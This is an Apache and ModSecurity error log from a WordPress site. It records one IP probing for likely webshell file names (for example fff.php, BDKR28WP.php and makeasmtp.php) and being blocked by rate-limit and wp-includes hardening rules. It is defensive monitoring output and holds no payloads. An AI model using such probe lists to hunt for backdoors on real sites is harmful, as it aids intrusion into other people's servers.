[Thu Apr 16 07:19:39.654645 2026] [:error] [pid 57538:tid 57605] [client 4.231.201.132:8071] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeAdC8uMaiEF5SVR2BdITwAAAIM"]
[Thu Apr 16 07:19:40.254048 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:8124] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeAdDDbDwvcXorHR_MyvWwAAAVY"]
[Thu Apr 16 07:19:41.764490 2026] [:error] [pid 57537:tid 57581] [client 4.231.201.132:8055] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeAdDVVQRS8nm73ENAk-EgAAAEY"]
[Thu Apr 16 07:19:42.424808 2026] [:error] [pid 57538:tid 57624] [client 4.231.201.132:7948] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeAdDsuMaiEF5SVR2BdIVQAAAJY"]
[Thu Apr 16 07:19:43.216694 2026] [:error] [pid 57536:tid 57548] [client 4.231.201.132:7983] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeAdDyQU4faGja6jpDuJOwAAAAA"]
[Thu Apr 16 07:19:43.841102 2026] [:error] [pid 57538:tid 57617] [client 4.231.201.132:18087] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fff.php"] [unique_id "aeAdD8uMaiEF5SVR2BdIVgAAAI8"]
[Thu Apr 16 07:19:44.460875 2026] [:error] [pid 57538:tid 57619] [client 4.231.201.132:8157] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdEMuMaiEF5SVR2BdIWAAAAJE"]
[Thu Apr 16 07:19:45.140078 2026] [:error] [pid 57536:tid 57556] [client 4.231.201.132:8109] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdESQU4faGja6jpDuJPQAAAAg"]
[Thu Apr 16 07:19:45.691766 2026] [:error] [pid 57639:tid 57650] [client 4.231.201.132:18133] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdEaMCQoTw7TsxWunXEQAAAMQ"]
[Thu Apr 16 07:19:46.367135 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:7937] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "aeAdEjbDwvcXorHR_MyvYAAAAUw"]
[Thu Apr 16 07:19:46.980828 2026] [:error] [pid 57538:tid 57606] [client 4.231.201.132:8087] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeAdEsuMaiEF5SVR2BdIXQAAAIQ"]
[Thu Apr 16 07:19:47.560106 2026] [:error] [pid 57639:tid 57658] [client 4.231.201.132:7954] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeAdE6MCQoTw7TsxWunXEwAAAMw"]
[Thu Apr 16 07:19:48.145831 2026] [:error] [pid 57538:tid 57603] [client 4.231.201.132:8035] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeAdFMuMaiEF5SVR2BdIYQAAAIE"]
[Thu Apr 16 07:19:48.715381 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:8045] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aeAdFDbDwvcXorHR_MyvYQAAAUc"]
[Thu Apr 16 07:19:49.242379 2026] [:error] [pid 57537:tid 57592] [client 4.231.201.132:8162] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeAdFVVQRS8nm73ENAk-FgAAAFE"]
[Thu Apr 16 07:19:49.764211 2026] [:error] [pid 57538:tid 57613] [client 4.231.201.132:8047] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeAdFcuMaiEF5SVR2BdIZAAAAIs"]
[Thu Apr 16 07:19:50.368450 2026] [:error] [pid 49094:tid 49101] [client 4.231.201.132:7958] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeAdFjbDwvcXorHR_MyvZgAAAUU"]
[Thu Apr 16 07:19:51.022230 2026] [:error] [pid 49094:tid 49098] [client 4.231.201.132:8062] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alpha.php"] [unique_id "aeAdFzbDwvcXorHR_MyvaQAAAUI"]
[Thu Apr 16 07:19:51.589547 2026] [:error] [pid 57537:tid 57583] [client 4.231.201.132:7955] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeAdF1VQRS8nm73ENAk-GQAAAEg"]
[Thu Apr 16 07:19:52.143941 2026] [:error] [pid 57639:tid 57656] [client 4.231.201.132:8090] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeAdGKMCQoTw7TsxWunXFgAAAMo"]
[Thu Apr 16 07:19:52.753622 2026] [:error] [pid 49094:tid 49110] [client 4.231.201.132:8143] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeAdGDbDwvcXorHR_MyvbQAAAU4"]
[Thu Apr 16 07:19:53.448387 2026] [:error] [pid 49094:tid 49112] [client 4.231.201.132:8019] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aeAdGTbDwvcXorHR_MyvbwAAAVA"]
[Thu Apr 16 07:19:54.179705 2026] [:error] [pid 49094:tid 49114] [client 4.231.201.132:8105] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeAdGjbDwvcXorHR_MyvcQAAAVI"]
[Thu Apr 16 07:19:55.056961 2026] [:error] [pid 57537:tid 57591] [client 4.231.201.132:8072] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeAdG1VQRS8nm73ENAk-HAAAAFA"]
[Thu Apr 16 07:19:55.694886 2026] [:error] [pid 57536:tid 57567] [client 4.231.201.132:8003] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeAdGyQU4faGja6jpDuJRQAAABM"]
[Thu Apr 16 07:19:56.461369 2026] [:error] [pid 57537:tid 57587] [client 4.231.201.132:8004] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-michan.php"] [unique_id "aeAdHFVQRS8nm73ENAk-HgAAAEw"]
[Thu Apr 16 07:19:57.166877 2026] [:error] [pid 57538:tid 57607] [client 4.231.201.132:7962] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeAdHcuMaiEF5SVR2BdIaAAAAIU"]
[Thu Apr 16 07:19:58.206150 2026] [:error] [pid 57639:tid 57655] [client 4.231.201.132:8177] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeAdHqMCQoTw7TsxWunXGgAAAMk"]
[Thu Apr 16 07:19:58.984128 2026] [:error] [pid 57639:tid 57666] [client 4.231.201.132:8079] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeAdHqMCQoTw7TsxWunXHAAAANQ"]
[Thu Apr 16 07:19:59.746121 2026] [:error] [pid 57537:tid 57585] [client 4.231.201.132:8113] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeAdH1VQRS8nm73ENAk-JQAAAEo"]
[Thu Apr 16 07:20:00.892513 2026] [:error] [pid 29603:tid 29612] [client 4.231.201.132:7945] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeAdIFfGOR6fpTWUAzrejQAAAQc"]
[Thu Apr 16 07:20:01.696544 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:8043] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeAdITbDwvcXorHR_MyvcwAAAU8"]
[Thu Apr 16 07:20:02.453211 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:8181] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeAdIjbDwvcXorHR_MyvdQAAAVc"]
[Thu Apr 16 07:20:03.026021 2026] [:error] [pid 49094:tid 49106] [client 4.231.201.132:8094] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aeAdIzbDwvcXorHR_MyvdgAAAUo"]
[Thu Apr 16 07:20:03.863699 2026] [:error] [pid 49094:tid 49102] [client 4.231.201.132:7998] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeAdIzbDwvcXorHR_MyvewAAAUY"]
[Thu Apr 16 07:20:04.477907 2026] [:error] [pid 49094:tid 49104] [client 4.231.201.132:8018] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeAdJDbDwvcXorHR_MyvfgAAAUg"]
[Thu Apr 16 07:20:05.169811 2026] [:error] [pid 57537:tid 57575] [client 4.231.201.132:8120] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeAdJVVQRS8nm73ENAk-KgAAAEA"]
[Thu Apr 16 07:20:05.786095 2026] [:error] [pid 57538:tid 57611] [client 4.231.201.132:8022] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeAdJcuMaiEF5SVR2BdIbgAAAIk"]
[Thu Apr 16 07:20:06.691372 2026] [:error] [pid 57538:tid 57621] [client 4.231.201.132:8039] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeAdJsuMaiEF5SVR2BdIcwAAAJM"]
[Thu Apr 16 07:20:07.198730 2026] [:error] [pid 49094:tid 49115] [client 4.231.201.132:8070] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeAdJzbDwvcXorHR_MyvgQAAAVM"]
[Thu Apr 16 07:20:07.817636 2026] [:error] [pid 57639:tid 57667] [client 4.231.201.132:7970] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeAdJ6MCQoTw7TsxWunXHgAAANU"]
[Thu Apr 16 07:20:08.432828 2026] [:error] [pid 57537:tid 57598] [client 4.231.201.132:7913] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeAdKFVQRS8nm73ENAk-LAAAAFc"]
[Thu Apr 16 07:20:09.043687 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:8036] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeAdKaMCQoTw7TsxWunXHwAAANE"]
[Thu Apr 16 07:20:09.669067 2026] [:error] [pid 29603:tid 29615] [client 4.231.201.132:8038] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeAdKVfGOR6fpTWUAzrekAAAAQo"]
[Thu Apr 16 07:20:10.260316 2026] [:error] [pid 57536:tid 57555] [client 4.231.201.132:7891] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeAdKiQU4faGja6jpDuJcQAAAAc"]
[Thu Apr 16 07:20:10.866553 2026] [:error] [pid 29603:tid 29609] [client 4.231.201.132:8183] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeAdKlfGOR6fpTWUAzrekgAAAQQ"]
[Thu Apr 16 07:20:11.701591 2026] [:error] [pid 57639:tid 57662] [client 4.231.201.132:8023] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeAdK6MCQoTw7TsxWunXIQAAANA"]
[Thu Apr 16 07:20:12.342058 2026] [:error] [pid 57536:tid 57572] [client 4.231.201.132:8052] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeAdLCQU4faGja6jpDuJewAAABg"]
[Thu Apr 16 07:20:13.070857 2026] [:error] [pid 57639:tid 57647] [client 4.231.201.132:7899] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeAdLaMCQoTw7TsxWunXIwAAAME"]
[Thu Apr 16 07:20:13.722111 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:8040] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeAdLTbDwvcXorHR_MyvhQAAAUw"]
[Thu Apr 16 07:20:48.079003 2026] [:error] [pid 29603:tid 29623] [client 4.231.201.132:7947] [client 4.231.201.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeAdUFfGOR6fpTWUAzrexgAAARI"]
[Thu Apr 16 07:20:56.575040 2026] [autoindex:error] [pid 29603:tid 29620] [client 4.231.201.132:18144] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 07:20:56.846145 2026] [autoindex:error] [pid 57537:tid 57591] [client 4.231.201.132:18161] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 07:21:09.329983 2026] [:error] [pid 57537:tid 57586] [client 4.231.201.132:18161] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeAdZVVQRS8nm73ENAk-TwAAAEs"]
[Thu Apr 16 07:21:10.001028 2026] [:error] [pid 57536:tid 57564] [client 4.231.201.132:18106] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeAdZSQU4faGja6jpDuJvwAAABA"]
[Thu Apr 16 07:21:10.649097 2026] [:error] [pid 49094:tid 49116] [client 4.231.201.132:18120] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aeAdZjbDwvcXorHR_MyvvAAAAVQ"]
